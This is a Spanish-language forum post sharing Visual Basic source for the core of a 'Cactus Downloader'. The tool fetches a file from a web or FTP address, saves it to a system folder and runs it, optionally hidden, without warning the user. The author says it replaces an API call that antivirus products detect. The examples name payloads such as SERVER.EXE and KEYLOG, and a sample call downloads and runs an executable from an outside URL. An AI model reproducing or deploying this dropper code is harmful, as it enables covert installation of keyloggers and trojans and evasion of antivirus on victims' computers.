Hola, estoy programando el Cactus Downloader y publico aquí la función que implementaré en su núcleo. Permite descargar un fichero desde una dirección web HTTP o FTP, sin advertir al usuario. Funciona igual de bien que la famosa API: URLDownloadToFileA de urlmon.dll
El problema de esa API es que es detectada por el 99% de los Antivirus, por eso he diseñado una función flexible. Espero que sepais usar valores por defecto y valores opcionales, aunque no es demasiado complicado, aquí el source:
Module1.bas
Y para llamarla desde un Form o desde otra función:
El uso de la función es simple, y como usa valores Opcionales y Por Defecto solo tiene 2 argumentos requeridos, ejemplos:
DownloadFile("URL","NOMBRE")
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de NOMBRE, lo ejecuta y muestra la ventana
DownloadFile("URL","SERVER.EXE","SYSTEMROOT",FALSE)
Descargar el fichero URL y lo guarda en la capeta Windows con el nombre de SERVER.EXE, no lo ejecuta
DownloadFile("URL","KEYLOG",,,TRUE)
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de KEYLOG, lo ejecuta y NO muestra la ventana.
Si os complicais o no lo entendeis avisar, posteo un ejemplo (descargas válidad solo para usuarios registrados)
El problema de esa API es que es detectada por el 99% de los Antivirus, por eso he diseñado una función flexible. Espero que sepais usar valores por defecto y valores opcionales, aunque no es demasiado complicado, aquí el source:
Module1.bas
Código (vb) [Seleccionar]
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que permite descargar un fichero de internet HTTP o FTP sin usar llamadas a APIS
'
'Uso de la función:
' DownloadFile(URL = String, FileName = String, [SavePath = GlobalVar], [RunAfterDownload = Boolean], [RunHide = Boolean])
' Return Value = Boolean (indica si se ha descargado o no el archivo)
'
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
On Error Resume Next
Err.Clear
Set XML = CreateObject("Microsoft.XMLHTTP")
Set ADS = CreateObject("ADODB.Stream")
XML.Open "GET", URL, False
XML.send
XML.getAllResponseHeaders
FullSavePath = Environ(SavePath) & "\" & SaveName
ADS.Open
ADS.Type = 1
ADS.Write XML.responseBody
ADS.SaveToFile FullSavePath, 2
If Err Then
DownloadFile = False
Else
If RunAfterDownload = True Then
If RunHide = True Then
Shell FullSavePath, vbHide
Else
Shell FullSavePath, vbNormalFocus
End If
End If
DownloadFile = True
End If
End Function
Y para llamarla desde un Form o desde otra función:
Código (vb) [Seleccionar]
Private Sub Command1_Click()
File = DownloadFile("http://perso.wanadoo.es/winworld/exec.exe", "prueba1.exe", "userprofile", True, False)
End Sub
El uso de la función es simple, y como usa valores Opcionales y Por Defecto solo tiene 2 argumentos requeridos, ejemplos:
DownloadFile("URL","NOMBRE")
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de NOMBRE, lo ejecuta y muestra la ventana
DownloadFile("URL","SERVER.EXE","SYSTEMROOT",FALSE)
Descargar el fichero URL y lo guarda en la capeta Windows con el nombre de SERVER.EXE, no lo ejecuta
DownloadFile("URL","KEYLOG",,,TRUE)
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de KEYLOG, lo ejecuta y NO muestra la ventana.
Si os complicais o no lo entendeis avisar, posteo un ejemplo (descargas válidad solo para usuarios registrados)